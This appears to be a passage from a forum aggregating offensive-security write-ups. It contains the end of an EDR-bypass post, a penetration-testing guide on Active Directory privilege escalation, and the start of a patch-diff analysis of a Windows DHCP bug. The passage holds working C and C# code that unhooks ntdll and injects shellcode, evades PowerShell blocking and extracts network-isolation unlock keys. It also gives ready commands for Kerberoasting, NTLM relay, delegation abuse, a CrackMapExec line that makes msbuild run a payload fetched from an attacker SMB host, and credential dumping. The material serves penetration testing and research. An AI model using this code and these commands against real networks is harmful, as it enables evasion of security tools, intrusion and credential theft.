            printf("[!] Error: Could not allocate memory in target process\n");
            return 1;
        }
        printf("[*] Allocated %d bytes at memory address %p\n", sizeof(buf), alloc);
        printf("[*] Attempting to write into victim process using WriteProcessMemory\n");
        if (WriteProcessMemory(proc, alloc, buf, sizeof(buf), NULL) == 0) {
            printf("[!] Error: Could not write to target process memory\n");
            return 1;
        }
        printf("[*] WriteProcessMemory successful\n");
    
        // Remove the NTDLL.DLL hook added by userland DLL
        removeCylanceHook("ntdll.dll", "ZwCreateThreadEx", 0xBB);
        printf("[*] Attempting to spawn shellcode using CreateRemoteThread\n");
        HANDLE createRemote = CreateRemoteThread(proc, NULL, 0, (LPTHREAD_START_ROUTINE)alloc, NULL, 0, NULL);
        printf("[*] Success :D\n");
    }

    And after executing our POC, we can see that our shellcode is spawned without any alert:

    4DC1F0F8-1300-4999-AC9B-90F91A61863A-102

    This form of self-policing will always be problematic as it depends on the process to detect its own bad behaviour.

    While we originally began work on this post back in November 2018, we must reference @fsx30 who has since publicly documented this issue and showed how it could be used in the context of dumping process memory.

    Application Control

    Another protection feature offered by Cylance is the option to disable a user’s ability to execute applications such as PowerShell. With this protection enabled, attempting to execute PowerShell will result in the following alert:

    BB23E9A0-D4AB-43B5-A09A-0F1B60126B71-102

    We already know from the above analysis that DLL’s are injected into a process as a way of allowing Cylance to analyse and deploy preventative measures. Knowing this, the DLL CyMemDef64.dll was analysed to identify if this was also providing the above restriction.

    The first area of interesting functionality we see is a call to NtQueryInformationProcess which aims to determine the application’s executable name:

    8C6901CE-867B-483E-BD21-F11B4ACFB076.png

    Once recovered, this is compared to a string of PowerShell.exe:

    C437D3F9-74F9-44AA-BB3A-6B286C452D09.png

    If we take the PowerShell.exe executable and rename this to PS.exe, we may expect to see this check bypassed… well not quite (believe us, this used to be the workaround for Cylance’s PowerShell protection before additional mitigations were added, long live Powercatz.exe). This indicates that there must be a further check being performed, which we find within the same function:

    A40ABDDB-1C35-4C29-A62A-79806C8881DD.png

    Here we see a reference to a string “powershell.pdb” which is passed to a function to determine if this reference appears within the PE debug directory. If this is found to be the case, another DLL is then loaded into the PowerShell process of CyMemDefPS64.dll, which is a .NET assembly responsible for the message displayed above.

    So what if we were to modify the PowerShell executable’s PDB entry using something like a hex editor?

    DB27BDC1-B7AE-4638-A931-6528B9498E54.png
    C7F6C566-2B15-4BC7-9968-91FBA2A4B1D5-102

    Cool, so now we now know just how Cylance is blocking PowerShell execution, but modifying a binary in this way isn’t ideal given that the file hash will be changed, and any signatures will likely be invalidated. How can we achieve the same effect without modifying the hash of the PowerShell executable? Well one way would be to spawn the PowerShell process and attempt to modify the PDB reference in memory.

    To spawn PowerShell, we will use CreateProcess but with the flag CREATE_SUSPENDED. Once the suspended thread has been created, we will need to find the base address of the PowerShell PE in memory by locating the PEB structure. Then it is simply a case of traversing the PE file structure to modify the PDB reference before resuming execution. The code to do this looks like this:

    #include <iostream>
    #include <Windows.h>
    #include <winternl.h>
    
    typedef NTSTATUS (*NtQueryInformationProcess2)(
        IN HANDLE,
        IN PROCESSINFOCLASS,
        OUT PVOID,
        IN ULONG,
        OUT PULONG
    );
    
    struct PdbInfo
    {
        DWORD     Signature;
        BYTE      Guid[16];
        DWORD     Age;
        char      PdbFileName[1];
    };
    
    void* readProcessMemory(HANDLE process, void *address, DWORD bytes) {
        char *alloc = (char *)malloc(bytes);
        SIZE_T bytesRead;
        ReadProcessMemory(process, address, alloc, bytes, &bytesRead);
        return alloc;
    }
    
    void writeProcessMemory(HANDLE process, void *address, void *data, DWORD bytes) {
        SIZE_T bytesWritten;
        WriteProcessMemory(process, address, data, bytes, &bytesWritten);
    }
    
    void updatePdb(HANDLE process, char *base_pointer) {
        // This is where the MZ...blah header lives (the DOS header)
        IMAGE_DOS_HEADER* dos_header = (IMAGE_DOS_HEADER*)readProcessMemory(process, base_pointer, sizeof(IMAGE_DOS_HEADER));
        // We want the PE header.
        IMAGE_FILE_HEADER* file_header = (IMAGE_FILE_HEADER*)readProcessMemory(process, (base_pointer + dos_header->e_lfanew + 4), sizeof(IMAGE_FILE_HEADER) + sizeof(IMAGE_OPTIONAL_HEADER));
        
        // Straight after that is the optional header (which technically is optional, but in practice always there.)
        IMAGE_OPTIONAL_HEADER *opt_header = (IMAGE_OPTIONAL_HEADER *)((char *)file_header + sizeof(IMAGE_FILE_HEADER));
        // Grab the debug data directory which has an indirection to its data
        IMAGE_DATA_DIRECTORY* dir = &opt_header->DataDirectory[IMAGE_DIRECTORY_ENTRY_DEBUG];
        // Convert that data to the right type.
        IMAGE_DEBUG_DIRECTORY* dbg_dir = (IMAGE_DEBUG_DIRECTORY*)readProcessMemory(process, (base_pointer + dir->VirtualAddress), dir->Size);
        // Check to see that the data has the right type
        if (IMAGE_DEBUG_TYPE_CODEVIEW == dbg_dir->Type)
        {
            PdbInfo* pdb_info = (PdbInfo*)readProcessMemory(process, (base_pointer + dbg_dir->AddressOfRawData), sizeof(PdbInfo) + 20);
            if (0 == memcmp(&pdb_info->Signature, "RSDS", 4))
            {
                printf("[*] PDB Path Found To Be: %s\n", pdb_info->PdbFileName);
                // Update this value to bypass the check
                DWORD oldProt;
                VirtualProtectEx(process, base_pointer + dbg_dir->AddressOfRawData, 1000, PAGE_EXECUTE_READWRITE, &oldProt);
                writeProcessMemory(process, base_pointer + dbg_dir->AddressOfRawData + sizeof(PdbInfo), (void*)"xpn", 3);
            }
        }
        // Verify that the PDB path has now been updated
        PdbInfo* pdb2_info = (PdbInfo*)readProcessMemory(process, (base_pointer + dbg_dir->AddressOfRawData), sizeof(PdbInfo) + 20);
        printf("[*] PDB path is now: %s\n", pdb2_info->PdbFileName);
    }
    
    int main()
    {
        STARTUPINFOA si;
        PROCESS_INFORMATION pi;
        CONTEXT context;
        NtQueryInformationProcess2 ntpi;
        PROCESS_BASIC_INFORMATION pbi;
        DWORD retLen;
        SIZE_T bytesRead;
        PEB pebLocal;
        memset(&si, 0, sizeof(si));
        memset(&pi, 0, sizeof(pi));
        printf("Bypass Powershell restriction POC\n\n");
        // Copy the exe to another location
        printf("[*] Copying Powershell.exe over to Tasks to avoid first check\n");
        CopyFileA("C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe", "C:\\Windows\\Tasks\\ps.exe", false);
        // Start process but suspended
        printf("[*] Spawning Powershell process in suspended state\n");
        CreateProcessA(NULL, (LPSTR)"C:\\Windows\\Tasks\\ps.exe", NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, "C:\\Windows\\System32\\", &si, &pi);
        // Get thread address
        context.ContextFlags = CONTEXT_FULL | CONTEXT_DEBUG_REGISTERS;
        GetThreadContext(pi.hThread, &context);
        // Resolve GS to linier address
        printf("[*] Querying process for PEB address\n");
        ntpi = (NtQueryInformationProcess2)GetProcAddress(LoadLibraryA("ntdll.dll"), "NtQueryInformationProcess");
        ntpi(pi.hProcess, ProcessBasicInformation, &pbi, sizeof(pbi), &retLen);
        ReadProcessMemory(pi.hProcess, pbi.PebBaseAddress, &pebLocal, sizeof(PEB), &bytesRead);
        printf("[*] Base address of Powershell.exe found to be %p\n", pebLocal.Reserved3[1]);
        
        // Update the PDB path in memory to avoid triggering Cylance check
        printf("[*] Updating PEB in memory\n");
        updatePdb(pi.hProcess, (char*)pebLocal.Reserved3[1]);
        // Finally, resume execution and spawn Powershell
        printf("[*] Finally, resuming thread... here comes Powershell :D\n");
        ResumeThread(pi.hThread);
    }
    

    And when executed:

    Office Macro Bypass

    As discussed earlier, Office based VBA macro protection has been well implemented within Cylance (aside from the noted absence of Excel 4.0 support). If we reviewed the protection in detail, what we find is that a number of checks are added to the VBA runtime by implementing similar hooks as seen above. In this case however, the hooks are added to VBE7.dll which is responsible for exposing functionality such as Shell or CreateObject:

    6A241AB0-D30D-44D1-9FCC-49F3B9EBF747-102

    What was found however was that, should the CreateObject call succeed, no further checks are completed on the exposed COM object. This means that should we find another way to initialise a target COM object, we can walk right past Cylance’s protection.

    One way to do this is to simply add a reference to the VBA project. For example, we can add a reference to “Windows Script Host Object Model”:

    D30D5A5F-CE3A-45F1-8177-93AD870ECB2F.png

    This will then expose the “WshShell” object to our VBA, and gets us past the hooked CreateObject call. Once this is completed, we find that we can resume with the normal Office macro tricks:

    191B982C-1E3C-4B22-9387-7A9369E6AF8D-102

    Bonus Round: CylanceOptics Isolation Bypass

    Although we didn’t focus too much on CylanceOptics, it would be a shame not to take a cursory look at one of the interesting features that it offers.

    A component of many EDR solutions is to provide the ability to isolate a host from the network if an analyst detects suspicious activity. In this event, should an attacker be using the host as an entry point into a network, it serves as an effective way to eliminate them from the network.

    CylanceOptics provides such a solution, exposing a Lockdown option via the web interface:

    0050E0BB-4203-40F5-A390-BCCE94B4AA0C-102

    Upon isolating a host, we find that an unlock key is provided:

    E2C433A3-F7A5-41D6-9B17-9A7DF853253B-102

    As having the ability to reconnect a previously isolated host would prove extremely valuable to us during an engagement, we wanted to understand just how difficult this would be for an attacker who had compromised a host and did not possess such an unlock key.

    The CylanceOptics assemblies were reviewed revealing an interesting obfuscated call to retrieve a registry value:

    B3230716-EBEF-456E-A700-67486E8004C4-102

    We find that this call retrieves the value from HKEY_LOCAL_MACHINE\SOFTWARE\Cylance\Optics\PdbP. The value is then passed to the .NET DPAPI ProtectData.Unprotect API:

    9523C442-24FF-4A37-8F87-3F1EC2296097-102

    Attempting to decrypt the registry value with the DPAPI master key for LOCAL SYSTEM results in a password being extracted. The code to show this can be found below:

    using System;
    using System.Collections.Generic;
    using System.Linq;
    using System.Text;
    namespace CyOpticseUnlock
    {
        class Program
        {
            static void Main(string[] args)
            {
                var fixed = new byte[] {
                0x78, 0x6A, 0x34, 0x37, 0x38, 0x53, 0x52, 0x4C, 0x43, 0x33, 0x2A, 0x46, 0x70, 0x66, 0x6B, 0x44,
                0x24, 0x3D, 0x50, 0x76, 0x54, 0x65, 0x45, 0x38, 0x40, 0x78, 0x48, 0x55, 0x54, 0x75, 0x42, 0x3F,
                0x7A, 0x38, 0x2B, 0x75, 0x21, 0x6E, 0x46, 0x44, 0x24, 0x6A, 0x59, 0x65, 0x4C, 0x62, 0x32, 0x40,
                0x4C, 0x67, 0x54, 0x48, 0x6B, 0x51, 0x50, 0x35, 0x2D, 0x46, 0x6E, 0x4C, 0x44, 0x36, 0x61, 0x4D,
                0x55, 0x4A, 0x74, 0x33, 0x7E
                };
                Console.WriteLine("CyOptics - Grab Unlock Key\n");
                Console.WriteLine("[*] Grabbing unlock key from HKEY_LOCAL_MACHINE\\SOFTWARE\\Cylance\\Optics\\PdbP");
                byte[] PdbP = (byte[])Microsoft.Win32.Registry.GetValue("HKEY_LOCAL_MACHINE\\SOFTWARE\\Cylance\\Optics", "PdbP", new byte[] { });
                Console.WriteLine("[*] Passing to DPAPI to unprotect");
                var data = System.Security.Cryptography.ProtectedData.Unprotect(PdbP, fixed, System.Security.Cryptography.DataProtectionScope.CurrentUser);
                System.Console.WriteLine("[*] Success!! Key is: {0}", ASCIIEncoding.ASCII.GetString(data));
            }
        }
    }
    

    Now we just need to pass this password over to CyOptics and we can resume network connectivity:

    After exploring this a bit further, what we actually found was that although we were able to retrieve the key, if you were to simply execute the CyOptics command as LOCAL SYSTEM, you are not required to provide a key, allowing the disabling of network lockdow by simply executing the command:

    CyOptics.exe control unlock -net

    This blog post was written by Adam Chester and Dominic Chell.

     

    Sursa: https://www.mdsec.co.uk/2019/03/silencing-cylance-a-case-study-in-modern-edrs/

  20. Penetration Testing Active Directory, Part II

    Hausec Infosec March 12, 2019 13 Minutes

    In the previous article, I obtained credentials to the domain three different ways. For most of this part of the series, I will use the rsmith user credentials, as they are low-level, forcing us to do privilege escalation.

    Privilege escalation in Windows can of course come from a missing patch or unquoted service paths, but since this is pentesting AD, we’re going to exploit some AD things in order to elevate privileges.

    With credentials to the network we now should do a little recon before we directly look to missing patch exploits. There’s a few tools and techniques that will help.

    Phase II: Privilege Escalation & Reconnaissance

    “Time spent on reconnaissance is seldom wasted.” – Arthur Wellesley 


    Tool: Bloodhound

    One of my favorite tools is Bloodhound. Attackers think in graphs, so Bloodhound is an excellent tool because it literally maps out the domain in a graph, revealing relationships that are both intended and not intended. From an attacker perspective, this is interesting because it shows us targets.

    I wrote a whole thing on Bloodhound, which can be read here, but I’ll show a tl;dr version.

    Let’s assume you don’t have a session opened on a machine, but you have credentials. You can still use Bloodhound’s Python ingestor and remotely gather the data. It can in be installed via git

    git clone https://github.com/fox-it/BloodHound.py.git
    cd BloodHound.py/ && pip install .
    

    Then can be ran by passing in the credentials, domain, and DC IP

    bloodhound-python -d lab.local -u rsmith -p Winter2017 -gc LAB2008DC01.lab.local -c all
    
    bh1.png?w=1100

    Once BH does it’s thing, it will store the data in the directory you ran it in, in .json format. Copy those files, then drag them into Bloodhound and you now have a pretty graph of the network. If you sort by “Shortest path to domain admin” you’ll get something similar to below

    bh2.png?w=1100 AdminAlice is logged into a DC.

    The power of this is that you can directly see what administrators are logged into what machines, giving you a next target. In a domain of hundreds or maybe even thousands of machines that will accept low-privilege credentials, you don’t want to waste time by just gathering other low-priv creds. This gives a target list, among many other things. Other uses can include identifying SQL servers that might have databases containing credentials, identifying what machines can be RDP’d into, and so much more. I encourage you to read more about it’s capabilities in depth here. I also encourage you to look at GoFetch, which automatically utilizes an attack plan drawn out by Bloodhound.


    Attack: Kerberoasting | Tool: GetUserSPNs.py

    With a target list and a domain controller identified, one way of privilege escalation is Kerberoasting. Kerberoasting is possible because service accounts are issued a Service Principal Name (SPN) within AD. It is possible then for any user to request a Kerberos ticket from the SPN, which has that accounts hashed password (In Kerberos 5 TGS-REP format). There are many different tools that can do Kerberoasting, but really you only need one tool.

    GetUserSPNs.py is pretty self explanatory — it queries the target domain for SPNs that are running under a user account. Using it is pretty simple.

    kerb.png?w=1100

    And now we have the hash to a service account. I load it into hashcat (GUI, of course) and select hash type 13100, as highlighted below

    kerb2.png?w=1100

    And it cracks within a few seconds

    kerb3.png?w=1100

    We now have the credentials to a service account, which usually results in access to the domain controller. Too easy? Let’s try other ways.


    Attack: ASEPRoasting | Tool: Rubeus

    ASEPRoasting is similar to Kerberoasting in the sense that we query accounts for TGTs, get the hash, then crack it, however in the case of ASEPRoasting there’s a very big caveat: Kerberos pre-authentication must be disabled, which is not a default setting. When you request a TGT, via a Kerberos AS-REQ message, you also supply a timestamp that is encrypted with your username and password. The Key Distribution center (KDC) then decrypts the timestamp, verifies the request is coming from that user, then continues with the authentication process. This is the pre-authentication process for Kerberos, which is obviously a problem for an attacker because we aren’t the KDC and cannot decrypt that message. Of course, this is by design, to prevent attacks, however if pre-authentication is turned off, we can send an AS-REQ to any user which will return their hashed password in return. Since pre-auth is enabled by default, it has to be manually turned off, so this is rare, however still worth mentioning.

    ad_do_not_require_preauth_gui2.png?w=110 tsmith is susceptible to ASREPRoasting because ‘Do not require Kerberos preauthentication’ is checked.

    To exploit this, we’ll use a tool called Rubeus. Rubeus is a massive toolset for abusing Kerberos, but for conducting ASREPRoasting, we care about this section. To use Rubeus, you first need to install Visual Studio. Once installed, download Rubeus and open the Rubeus.sln file with Visual studio.

    build.png?w=1100
    build2.png?w=1100

    By default, it will install in the Rubeus\bin\Debug\ file. cd into that directory, then run it:

     .\Rubeus.exe asreproast
    
    asrep.png?w=1100

    If no users have ‘Do not require Kerberos preauthentication’ checked, then there won’t be any users to roast. But if there is…

    asrep2.png?w=1100

    We then can get the hash for the user and crack it.

    Keep in mind that the examples were done on a computer already joined to the domain, so if you were doing this from a computer not on the domain, you would have to pass in the domain controller, domain name, OUs, etc.


    Tool: SILENTTRINITY

    SILENTTRINITY is a new Command and Control (C2) tool developed by @byt3bl33d3r which utilizes IronPython and C#. You have the option to use MSBuild.exe, a Windows binary which builds C# code (which is also installed by default with Windows 10, as part of .NET) to run a command & control (C2) payload in an XML format, allowing the attacker to then use the underlying .NET framework to do as they please on the victim’s machine via IronPython, C#, and other languages.

    Personally, SILENTTRINITY has replaced Empire in my toolkit and I wrote a guide on how to use it here. There’s still select areas where I’d prefer to have an Empire connection, but ST is also in an ‘alpha’ state, so that functionality will come. There’s three main reasons why ST has replaced Empire, in my opinion.

    1. Empire payloads are now being caught by Windows Defender, even when obfuscated (there’s ways around it, but still.)
    2. ST lives off the land
    3. You can elevate to SYSTEM privileges when executing the payload over CME with the –at-exec switch.

    Below is a PoC in a fresh Windows 10 install, using a non-Domain Admin user’s credentials

    tsmith.png?w=1100 Account “tsmith” is only in the user’s group
    localuser1.png?w=1100 Code execution with tsmith’s credentials

    I generate the XML payload in SILENTTRINITY, then host it on my SMB server via smbserver.py. If you’re confused on how to do that, follow my guide here. I then use CME to execute the command that will fetch the XML file on my attacker machine.

    crackmapexec 192.168.218.60 -u tsmith -p Password! -d lab.local -x 'C:\Windows\Microsoft.NET\Framework64\v4.0.30319\msbuild.exe  \\192.168.218.129\SMB\msbuild.xml' --exec-method atexec
    stexecute.png?w=1100 CME executes the supplied command, which runs msbuild.exe and tells it to build the XML file hosted on my SMB server

    I now have a session opened in ST

    st.png?w=1100

    And listing the info for the session reveals my username is SYSTEM, meaning I escalated from user tsmith to SYSTEM, due to the fact that MSBuild.exe ran with the –exec-method atexec option, which uses Task Scheduler with SYSTEM privileges (or whatever the highest possible it) to run the command.

    system.png?w=1100

    And of course, we then dump credentials and now have an administrator password hash which we can pass or crack.

    mimikatz.png?w=1100

     

    Attack: PrivExchange

    PrivExchange is a new technique (within the past month) that takes advantage of the fact that Exchange servers are over-permissioned by default. This was discovered by Dirkjann a little over a month ago and is now an excellent way of quickly escalating privileges.

    It works by querying the Exchange server, getting a response back that contains the Exchange server’s credentials, then relaying the credentials in the response to the Domain Controller via ntlmrelayx, then modifying a user’s privileges so they can dump the hashes on the domain controller.

    Setting this up was kind of a pain. Exchange 2013 is installed using the default methods on a Windows 2012 R2 server, and I made this modification to the PrivExchange python script to get it to work without a valid SSL certificate. After that, it ran fine.

    First, start ntlmrelayx.py and point it to a DC, authenticate via LDAP and escalate privileges for a user.

    ntlmrelayx.py -t ldap://192.168.218.10 --escalate-user rsmith

    Then, run privexchange.py by passing in your attacker IP (-ah), the target, and user/password/domain.

    python privexchange.py -ah 192.168.218.129 LAB2012DC02.lab.local -u rsmith -d lab.local -p Winter201
    privex1.png?w=1100 Privexchange.py makes the API call to the echange privex2.png?w=1100 ntlmrelayx relays the Exchange server’s credentials to the Master DC, then escalates rsmith’s privileges privex3.png?w=1100 Using rsmith’s privileges to dump the hashes on the DC.

    With the hashes to all users, they can now be cracked.

    Side note: If you ever run Mimikatz and it gets caught by AV, secretsdump.py is an excellent alternative, as it doesn’t drop anything to disk.


    Attack: Kerberos Unconstrained Delegation

    Also from Dirk-jan, is an attack that takes advantage of default AD installs. Specifically, the fact that computers can, by default, change some attributes relating to their permissions such as msDS-AllowedToActOnBehalfOfOtherIdentity. This attribute controls whether users can login to (almost) any computer on the domain via Kerberos impersonation. This is all possible through relaying credentials. I’ve demonstrated mitm6 in part one, so I’ll use it again here, but relay the responses in a different way.

    mitm6 -i ens33 -d lab.local
    mitm6-1.png?w=1100

    I then serve the WPAD file and relay the credentials over LDAPS to the primary DC while choosing the delegate access attack method.

    ntlmrelayx.py -t ldaps://LAB2012DC01.lab.local -wh 192.168.10.100 --delegate-access
    ntlm1.png?w=1100ntlm2.png?w=1100

    The victim opens IE, which sends out a WPAD request over IPv6, which the attacker (me) responds to and relays those credentials to the DC over LDAPS. A new computer is created and the delegation rights are modified so that the new ‘computer’ can impersonate any user on LABWIN10 (the victim) via the msDS-AllowedToActOnBehalfOfOtherIdentity attribute. So I now generate a silver ticket and impersonate the user ‘Administrator’.

    getST.py -spn cifs/LABWIN10.lab.local lab.local/AFWMZ0DS\$ -dc-ip 192.168.10.10 -impersonate Administrator
    st-1.png?w=1100

    I then logon to LABWIN10 with my silver ticket via secretsdump.py and dump the credentials.

    st2-1.png?w=1100

    To read more on silver ticket attacks and how they work, this is a good article.


    Attack: Resource-based Constrained Delegation

    Yes, more attacks due to the msDS-AllowedToActOnBehalfOfOtherIdentity attribute. @harmj0y made a post a few weeks ago on this. Essentially, if you’re able to change a computer object in AD, you can take over the computer itself. The only catch to this is there needs to be one 2012+ domain controller, as older versions do not support resource-based constrained delegation (RBCD). Elad Shamir breaks the entire attack down, including more about RBCD, in this article.

    There’s three tools used for this:

    Powermad

    Powerview

    Rubeus

    This attack is then conducted on the Windows 10 machine with rsmith’s credentials. First, we set the executionpolicy to bypass so we can import and run scripts.

    Set-ExecutionPolicy -ExecutionPolicy Bypass -Scope CurrentUser
    executionpolicy.png?w=1100

    Then we check to see if we can modify discretionary access control lists (DACLs).

    $AttackerSID = Get-DomainGroup Users -Properties objectsid | Select -Expand objectsid
    Get-DomainObjectACL LAB2012DC01.lab.local | ?{$_.SecurityIdentifier -match $AttackerSID} 
    
    sid-1.png?w=1100

    The above commands look up rights for the ‘Users’ SID, showing that the group has ‘Generate Write’ permissions on the object (the DC).

    By default, this isn’t exploitable. This is abusing a potential misconfiguration an Administrator made; in this example it is the fact that the Admin added the “Users” group as a principal to the DC and allowed the GenericWrite attribute.

    As a PoC, rsmith (who is in the “Users” group), cannot get into the DC.

    denied.png?w=1100  

    What we do next is create a new computer account and modify the property on the domain controller to allow the new computer account to pretend to be anyone to the domain controller, all thanks to the msDS-allowedToActOnBehalfOfOtherIdentity. It’s possible for us to create a new computer account, because by default a user is allowed to create up to 10 machine accounts. Powermad has a function for it

    New-MachineAccount -MachineAccount hackermachine -Password $(ConvertTo-SecureString 'Spring2017' -AsPlainText -Force)
    newmachine.png?w=1100

    We then add the new machine’s SID to the
    msDS-allowedToActOnBehalfOfOtherIdentity attribute on the DC.

    $ComputerSid = Get-DomainComputer hackermachine -Properties objectsid | Select -Expand objectsid
    $SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$($ComputerSid))"
    $SDBytes = New-Object byte
    $SD.GetBinaryForm($SDBytes, 0)
    Get-DomainComputer $TargetComputer | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes}

    Then use Rubeus to get the NT password for our created machine.

     .\Rubeus.exe hash /password:Spring2017 /user:hackermachine /domain:lab.local 
    
    rub1.png?w=1100

    Finally, we then impersonate a domain administrator (Administrator) using Rubeus’ service for user (S4U) process on the target DC.

    .\Rubeus.exe s4u /user:hackermachine$ /rc4:9EFAFD86A2791ED001085B4F878AF381 /impersonateuser:Administrator /msdsspn:cifs/LAB2012DC01.lab.local /ptt
    impersonate.png?w=1100

    With the ticket imported, we can then access the domain controller.

    success.png?w=1100

    Again, this is leveraging the fact that the system administrator dun goofed and added the ‘Users’ group to have Generic_Write access to the DC. Even though we couldn’t access it via SMB, we modified the permissions that would allow us to. If you’re still confused, here’s a video from SpecterOps demonstrating a walkthrough.


    Attack: MS14-025, GPP

    This one is less common as it’s been out for quite some time, however it gets a mention because it still does exist. MS14-025 is also known as the group policy preferences escalation vulnerability.

    When a Domain Administrator would push out a local administrator account via Group Policy Preferences, it would store the encrypted credentials in the SYSVOL share on the domain controller (SYSVOL is accessible by anyone, as it’s where policies are stored and other things domain clients need to access). This typically wouldn’t be a problem because it’s encrypted with AES encryption, right? Well, Microsoft dun goofed and published the decryption key. So now, attackers can decode the password. To simplify things, Metasploit has an auxiliary module for this.

    sysvol1.png?w=1100sysvol2.png?w=1100

    Attack: Finding over privileged accounts | Tool: CrackMapExec

    Ok, this one isn’t necessarily an “attack” as much as it is a methodology of doing good reconnaissance and enumeration, which a few tools can help out with. This seems like kinda of a stretch from an article standpoint, but in reality over privileged accounts are so incredibly common, that it’s not unusual to find one persons accounts then log into another persons workstation and have read access to their stuff. In addition, having privileges to servers where that user should have no business accessing, which of course leads to the attacker just dumping credentials everywhere and eventually finding creds that work on the domain controller.

    The methodology here is pretty easy: Spray the credentials across the network, see what you can log into. With crackmapexec, you can list the shares and see what you have write access to.

    crackmapexec 192.168.218.0/24 -u rsmith -p Winter2017 --shares
    cme-1.png?w=1100

    From here, use SILENTTRINITY to get a session open on what the user has write access to, run the mimikatz module, and hope you find new credentials that are privileged. Remember, you can use CME with CIDRs, meaning if you’re using SILENTTRINITY as your C2 server and using CME to trigger the connection, you can spray that across the network for maximum sessions. Although it’s not very OpSec friendly and quite noisy. Consider it a test to see how their detection and response posture is ?


    Tools: PowerTools Suite

    Attack 1: Finding passwords in files.

    Another thing to look for is passwords in files. There’s been several occasions where I find a user is storing emails in their Documents folder, which contains a password. Or they keep an Excel/Word file with passwords in it. This is where the PowerSploit suite comes in handy. Where do I begin with the PowerSploit suite…basically if you want to do something malicious, there’s a Powershell module for it. In the case of searching for passwords, or any string for that matter, PowerView is your friend. Keep in mind EDRs catch basically every module in this suite, so I suggest encoding them before using via Invoke-Obfuscation. PowerView is easy to use. Download the PowerSploit suite, and open Powershell in the directory you’ve extracted it in (make sure you’re admin).

    First, allow scripts to be ran.

    Set-ExecutionPolicy Bypass

    Then import the module

    Import-Module .\PowerView.ps1
    pw-1.png?w=1100

    In the PowerView module is a command called Invoke-FileFinder, which allows you to search for files or in files for any string you want. Consider the string ‘password’.

    pw2.png?w=1100 Search the C drive for anything containing the string ‘password’ pw3.png?w=1100 Found a secret password file!

    Just be mindful that this takes a very long time. It helps to narrow the search area down and running the command from that directory.

    Attack 2: Get-ExploitableSystem

    This is a pretty self-explanatory script. It will query Active Directory for the hostname, OS version, and service pack level for each computer account, then cross-referenced against a list of common Metasploit exploits.

    First import the whole PowerSploit suite (Or just PowerView if you want)

    Import-Module .\PowerSploit.psd1
    import.png?w=1100

    Then run the command

    Get-ExploitableSystem -Verbose
    getexploitable.png?w=1100 Hurray for Windows XP!

    Attack 3: PowerUp

    In the PowerUp module is a function called “Invoke-All-Checks” which does exactly what it says it does. It checks for everything, from unquoted service paths (which I wrote on how to exploit here) to looking for MS14-025, it does a lot. Look at the Github for more info.

    Using it is simple

    Invoke-AllChecks
    
    pu1.png?w=1100 Thanks MSI.

    Attack 4: GetSystem

    This module does the same thing the Metasploit ‘GetSystem’ function does. To find out more about what exactly that entails, read this excellent post by CobaltStrike.

    Otherwise, just run the command.

    Get-System -Technique Token

    or

    Get-System -ServiceName 'PrivescSvc' -PipeName 'secret' 
    get-system1.png?w=1100 I am just a lonely Admin.
    get-system2.png?w=1100 I am SYSTEM!

    Tool(s): ADAPE

    Personally, I wrote one called ADAPE – The Active Directory Assessment and Privilege Escalation script

    ADAPE is written in Powershell and uses several different other tool’s functions and runs them automatically, preventing the need to port over multiple tools. It’s also obfuscated and turns off Windows Defender to help bypass EDR.

    ADAPE is meant to be easy to use. Download it, port it over to your target Windows Machine, and run it

    PowerShell.exe -ExecutionPolicy Bypass ./ADAPE.ps1 

    Since all the necessary scripts are included, it doesn’t need to reach out to the internet and will store the results in a capture.zip file that can be exported.

    adape1.png?w=1100 Error messages are normal, unless it breaks. Then report.
    adape2.png?w=1100 Looking for GPP passwords, Kerberoasting, and running Bloodhound ingestor
    adape3.png?w=1100 Checking for privesc, then deleting the files it made and zipping up the capture file.

    If you open up the capture file, you’ll have all the results.

    adape4.png?w=1100

    Again, by all means, this is not comprehensive. This is just a few tools and attacks I’ve used successfully over the years, so there’s a good chance at least one of these works. In part III, I will go over post-exploitation and persistence.

    Resources and References:

    I take no credit for the discovery of any of these techniques, I’m just the dude that makes an article about the ones I like to use.

    Massive thank you to @harmj0y, @cptjesus, @_wald0, and the rest of the team at SpecterOps for the amazing research they do as well as creation of several excellent tools.

    Thank you to the Bloodhound Slack for answering my question.

    Thank you @byt3bl33d3r and the team at Black Hills InfoSec for the research and tools they make.

    Thank you @_dirkjan and the team at Fox-it for the research and tools.

    Thank you secureauth for impacket, a staple in every pentesters tool kit.

     

    Sursa: https://hausec.com/2019/03/12/penetration-testing-active-directory-part-ii/

    • Like 1
    • Upvote 2
  21. Analyzing a Windows DHCP Server Bug (CVE-2019-0626)

    matched_functions.png
    Vulnerability Research
    •  
    •  
    •  
    •  
    •  
    •  

    Today I’ll be doing an in-depth write up on CVE-2019-0626, and how to find it. Due to the fact this bug only exists on Windows Server, I’ll be using a Server 2016 VM (corresponding patch is KB4487026).

    Binary Comparison

    I ran a BinDiff comparison between the pre and post patch versions of dhcpssvc.dll. Below, we can see that only 4 functions have changed (similarity <1.0).

    matched_functions.png BinDiff comparison of dhcpssvc.dll before and after installing the patch.

    The first function I decided to look at was “UncodeOption”. My reasoning is it sounds like it’s some kind of decoder, which is a common location for bugs.

    Double clicking the target function brings up two side by side flow graphs. The original function is on the left, and updated one on the right. Each graph will split functions up into logical blocks of assembly code, similar to IDA’s “graph view”.

    • Green blocks are identical across both functions.
    • Yellow blocks have some instruction variant between function.
    • Grey blocks contain newly added code.
    • Red blocks contain removed code.
    function_comparison.png A side by side comparison of function control flow

    According to BinDiff, a fair few blocks have been modified. Most interestingly there are two loops, which both now have a new block of code. additional blocks can be if statements containing extra sanity checks; this looks like a good place to start.

    Whilst it’s possible to do more analysis in BinDiff, I find the interface to be too clunky. I think I already have all the information I need, so it’s time to dive into IDA.

    Code Analysis

    If you have the full version of IDA, you can use the decompiler to save you digging through assembly code. Most bugs will be visible at high level, though in very rare cases you may need to compare code at assembly level.

    duplicate_variables.png

    Due to the way IDA’s decompiler works, you may find there are duplicate variables. For example, “v8” is a copy of “a2”, but neither value is ever modified. We can clean up the code by right clicking “v8”, and selecting map to another variable By mapping “v8” to “a2”, all instances of “v8” will be replaced by “a2”. Remapping all unnecessary duplicate variables will make things easier to read.

    Here is a side by side comparison of the code after cleanup.

    function_comparison_c.png A side-by-side comparison of patched and unpatched functions.

